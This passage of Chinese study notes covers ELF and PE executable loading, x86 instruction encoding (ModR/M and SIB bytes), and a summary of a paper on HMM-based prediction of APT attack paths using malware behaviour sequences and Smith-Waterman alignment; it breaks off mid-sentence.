如上图所示,A和B模块互不依赖,都被Main模块调用时,则可以采用Overlay的方式,使得需要的内存空间节省256Bytes。

  • Paging页映射 和页替换算法 MMU的地址映射

从操作系统可执行文件的装载

进程的建立

  • 1.创建虚拟地址空间(只创建映射函数需要的数据结构,并不实际创建空间)
    • Linux i386中是分配一个页目录,不设置页映射关系,在后面程序发生页错误的时候才设置)
  • 2.读取可执行文件头,建立虚拟空间与可执行文件的映射关系。(装载)

(Linux中)

  • 3.令EIP=EOP of Executable File

    ​ 内核堆栈和用户堆栈的切换、CPU运行权限切换

1
2
3
/**
页面可执行文件的偏移<----(装载)---->虚拟存储空间<----------->物理内存
*/

Linux将进程虚拟空间中的一个段叫VMA(Virtual Mempry Area),包括

1
start address;size;Attributes(RWE);State;Type;

对于相同权限状态的节Section,把它们合并到一起作为一个段Segment映射。这样在进程虚拟空间中只有一个VMA而不是多个,可以减少页面内部碎片,节省内存空间。

页错误

程序执行时进程虚拟空间中发生Page Fault,控制权从进程转移到OS;

根据数据结构找到VMA,计算页面在磁盘文件中的偏移,

然后物理内存分配物理页,读取该磁盘块到物理页中,

将发生页错误的虚拟页与物理页之间建立映射关系。

控制权归还给进程,从发生页错误的位置继续执行。

ELF文件

从链接角度(Linking View)看,elf文件按照节section存储,描述它的结构叫做节表Section Headers;

从装载角度或者执行视图(Execution View)看,elf文件可以按照段segment划分,描述它的结构叫做程序头Program Header;

elf可执行文件和共享库文件处于装载的需要,比目标文件多一个程序头表(Program Header Table)。

1
2
3
4
5
6
7
8
9
10
11
12

// 程序头表
typedef struct {
Elf32_Word p_type; // 段的类型,如LOAD:1.DYNAMIC,INTERP
Elf32_Addr p_offset; // 段在文件中的偏移量
Elf32_Addr p_vaddr; // 段在内存中的虚拟地址
Elf32_Addr p_paddr; // 段在物理内存中的地址(对于嵌入式系统可能有用)
Elf32_Word p_filesz; // 段在文件中的大小,可能是0
Elf32_Word p_memsz; // 段在进程虚拟地址空间中占用的大小,可能是0
Elf32_Word p_flags; // 段的属性标志,如可读、可写、可执行等
Elf32_Word p_align; // 字节按照2^p_align次方对齐
} Elf32_Phdr;

对于LOAD类型的Segment,p_memsz一定>=p_filesz(bss被合并在数据类型的段里,存放那些未被初始化的数据)。

PE文件的装载

步骤

PE文件可以装载到任何内存位置。PE文件中选用RVA,因为RVA可以始终保持一致。

1.读取文件第一个页,获取到DOS头、PE头、段表。

2.选择装载地址。检查进程空间地址里,目标地址是否可用。若不可用,则另外选择装载地址。

3.段映射。使用段表将PE文件中的段,映射到进程内存空间地址。—>若装载地址≠目标地址,Rebasing。

4.装载所需要的dll文件—>解析PE文件中的导入符号——>

5.建立初始化栈和堆—>建立主线程并启动进程

数据结构

1
2
3
4
5
6
7
8
9
10
coffHeader{
optionalHeader{
...
u32 addressofEntryPoint;//装载后PE文件第一个指令的RVA,病毒感染PE文件后要修改入口点,篡改执行流程。
u32 SectionAlignment;//内存中段对齐粒度,默认是4K=4096字节
u32 FileAlignMent;//文件中段对齐粒度,默认是512字节
u32 baseofCode;
u32 baseofData;//数据段起始RVA
}
}

6.4 进程虚存空间分布

https://www.kanxue.com/chm.htm?id=13855&pid=node1000002

指令集

  • MIPS 长度固定的指令,是RISC,处理器通过硬连线实现

  • x86(IA-32),长度变化,用CISC的指令集,CISC的处理器需要用微指令配合运行。但是当下Intel实际处理器的结构都已经变成了risc结构了,risc的结构实现流水线等特性比较容易。

cisc的寄存器数量较少,指令能够实现一些比较特殊的功能,例如Win32汇编语言对应的8086的一些寄存器: AX-DX,CS、DS、ES、SS。

GNU编译的elf文件对应到RISC的寄存器,会有很多通用寄存器。

虚拟模式需要使用一些特殊的寄存器、为了支持分页需要使用页表寄存器等,为了加速内存的访问需要使用TLB,加速数据和指令的访问而使用data cache和instruction cache等

jmp $是为了让程序停在这一行,防止程序跑飞(跑飞的程序危害很大!有可能把数据当代码或者把代码当数据!)

仿真工具

用synplify综合的电路,然后用debussy+modelsim仿真

IA-32的指令格式

1690965899478

前缀部分可选,分为四个group。

操作数前缀用于设置 锁总线和重复前缀 、段重写和分支预测、操作数宽度、地址宽度。

Opcode

  1. x86的opcode最短是1个字节,最长是3个字节。

  2. x86对于源操作数和目的操作数是暗含在opcode里面的。

1
2
88 11 BL(011) CL(001)     88 D9 MOV CL, BL               MR   
8A 11 011 001 8A D9 MOV BL(011),CL(001) R<--M
  1. 二字节通用opcode是0fh+一字节的编码;但是二字节的SIMD opcode是三字节长度,即一个强制前缀+0fh+一字节的操作码。

  2. 同样的,三字节的通用opcode,是0fh+二字节的编码。SIMD opcode格式是强制前缀+0FH+二字节编码。

    5.个别的SIMD指令不需要强制前缀来引导,比如addps(0FH+58H)

addps指令中,ps代表”packed single-precision floating-point” 。

XMM (eXtended MultiMedia ) 寄存器是SSE(Streaming SIMD Extensions)指令集中的一种寄存器。

它可以同时存储4个单精度浮点数,每个数占用32位,总共128位。

对应的,MM寄存器是64位的。

addps指令将分别对应位置上的单精度浮点数相加,并将结果存储回目标XMM寄存器中。

1
0F 58 01  addps xmm0,xmmword ptr[ecx] //从内存位置ecx处取128位单精度浮点数值加到xmm0 寄存器中的128位单精度浮点数上

Mod R/M

切分为3个位域,233.

mod:提供寻址模式,11=寄存器寻址 其余都是内存寻址
reg/opcode:
两种作用,第一种是提供寄存器寻址;另一种为某些opcode提供补充说明。
R/M:
结合MOD位域,提供内存/寄存器寻址。

R/M=100& MOD≠11 作为SIB的转义码 。

例如,

1
2
3
4
编码mov eax(000),ebx(011)
89H 11 011 000 89 D8 MR
8BH 11 000 011 8B C3 RM
//x86把源和目的操作数隐藏在opcode里面

1690969519285

SIB

同modr/m类似,SIB字节也是采用233切分成三个位域,名字分别叫Scale、Index、Base。SIB的名字也来自这三个位域名字的首字母缩写。
SIB字节由 R/M=100& MOD≠11 引导出来。
1.SIB确定的寻址方式是[base+Index* Scale +disp],

esp作为index时候,index自动被忽略,即此时scale因子视为0 , 寻址计算方法是[base+disp]

2.disp意思是后面尾随的若干个displacement字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
mov eax,[0x1]可以编码为以下形式:
a)采用moffs32编码
opcode moffs32
A1 01 00 00 00
A1 40H
b)采用MODR/M引导的disp
opcode mod reg r/m displacement
8B 00 000 101 01 00 00 00H
8B 05H 01 00 00 00H
c)采用SIB引导的disp
opcode mod reg r/m scale index base displacement
8B 00 000 100 01 100 101 01 00 00 00H
8B 04H 65H 01 00 00 00H

1.数据不平衡问题

2.数据饥饿问题

3.静态检测时混淆加密手段的干扰

4.运行崩溃的解决

5.样本中特征不足导致矩阵全0

面向 APT 家族分析的攻击路径预测方法研究,信息学报,陈伟翔 1, 任怡彤 1, 肖岩军 2, 侯 锐 3, 田志宏 1

IDS需要关联 APT 生命周期内的数 个阶段, 以此提高检测攻击能力。

1.要解决的问题

基因库—可靠数据获取方法

HMM——预测的攻击路径的可解释性

2.概念

攻击行为概述

“寻找入口点”、“C2 通信”、“权限提升”、“资 产发现”、“数据过滤”、

APT 攻击路径的可见状态集

注册表&服务

CS(create-service): 创建服务

MRV(modify-registry-value): 修 改注册表的行为;

DRKV(delete-registry-key-value): 删除注册表关键信息的行为;

内核

CKO(create-kernelobject): 创建内核对象的行为;

MMP(modify-memory-property): 修 改内存权限的行为;

进程

CP(create-process): 创建进程;

LL(load-library): 加载 库 ;

ESI(execshellcode-instr): 执行 shellcode 指令;

EHI(exec-heapinstr): 执行堆指令;

WTPM(write-to-process-memory): 写入进程内存;

ERI(exec-ret-instr): 执行 ret 指令;

EEI(exec-esp-instr): 执行 esp 指令;

CT(create-thread): 创建线程;

网络

SDQ(send-dnsquery): 发送 DNS 请求行为;

SNP(send-network-packet): 发送网络数据包;

LOP(listen-on-port): 监听端口。

CTS(connect-to-socket): 连接 socket;

文件

CF(create-process): 创 建文件的行为;

WTF(write-to-file): 写入文件的行为;

动态分析工具

Anubis、Norman、Joebox

基因库

基因(序列):(MD5,env,object_1,object_2,action_name)按照时间排序

object_1 与 object_2 分别代表软件执行动作的对象 和路径

同一个 APT 家族下恶意软件基因集合, 称为一个 APT 家族的基 因库。

钻石模型

一个 APT 攻击包含“攻击者”、 “受害者”、 “能力”和“基础设施”4 个核心元 素。

“能力”是攻击者使用的工具或技术, 从 探查到最终目的达成, “技术”存在于每一个攻击阶 段, 每一个恶意动作对应的技术细节可体现出相应 战略意图。

“基础设施”是攻击者维持权限控制的通 道或者载体。

3.方法

Smith waterman算法+

相似的公共子序列一定是得分最高的那一条。

比对序列为:A=GGTTGACTA,B=TGTTACGG

则两序列的长度分别为len(A) = n,Len(B)=m;
s(a,b):字符a和字符b的相似分数,这里设置为3,不相等则为-3;

W1 = 2 :一个空位罚分,这里设置为2(可根据需要设置)

H:匹配分数矩阵如下。

1690796434417

  1. 初始化算法分数矩阵H。A是列向量,B是行向量。使行i表示字符ai,列j表示字符bj;

1690796255740

  1. 回溯,从矩阵H中分数最大的一项开始:
    若ai=bj,则回溯到左上角单元格
    若ai≠bj,回溯到左上角、上边、左边中值最大的单元格,若有相同最大值的单元格,优先级按照左上角、上边、左边的顺序
  2. 根据回溯路径,写出匹配字符串:
    若回溯到左上角单元格,将ai添加到匹配字串A‘,将bj添加到匹配字串B’;
    若回溯往上走,此时A走了,B没走。将ai添加到匹配字串A’,将_添加到匹配字串B’;
    若回溯到左边单元格,B走了,A没走。将_添加到匹配字串A’,将bj添加到匹配字串B’。
  3. 得到局部最优匹配序列,结束

数据处理

1.APT基因库要去重、去无效、去冗余(Smith-waterman局部序列对比算法去除相似基因,阈值为80%)。

->节省存储、简化算法复杂度

基因个体不重要,基因行为才重要。:(MD5,env,object_1,object_2,action_name),去除md5,env作关键词替换,object1只保留可执行文件。

2.公共基因:对所有APT基因库中的基因进行相似度检测,相似度90%以上的基因序列作为公共基因。

恶意软件的通用动作。

3.恶意行为基因库:各个家族APT基因库-公共基因,之后合并各个家族基因库。

4.可观测状态集:恶意软件行为可观测链:恶意软件基因序列,与恶意行为基因库进行比较。保留相似度 Thres_hold 在 90%以上的基因序列的基因尾的动作名称,不包含基因段属性信息,从而保证可观测状态可计算属性。

缺陷1:

恶意行为基因库进 行可观测链提取, 而这些基因序列来自于软件行为。

只能使用基因中 包含 C2 通信的部分进行关联和提取, 基因库的使用 率不足 30%,

5.隐藏状态集 资产发现 数据过滤 寻找入口 C2 通信

将测试集 中的样本放入各自的 APT 家族的 HMM 中计算下一 时刻攻击路径的隐藏状态和可观测状态的概率

展示结果时

将各个家族样本按照编号排序,把得分取对数,构成下面的得分图。

1690793540423

4.优势

1.精准定位到具体基因


能精准定位到具体基因, 能在一定程度上应对 恶意软件变种, 能在一定程度上应对 恶意软件变种

2.可同时对隐藏状态和可观测状态展开预测

3.在进行最终结果判定时, 将多个观测值作为判定结果

只要结果在观测值组里,就正确,可以提高实验表现,也能提供参考。

劣势

隐藏状态只有四个;

在 数据质量方面, 若一条观测链在多个模型下均展现 出极少或是单一的 APT 阶段, 就会严重影响 HMM 的构建。

在多个路径时,基因检测的识别准确率不如 HMM 检测法, 但是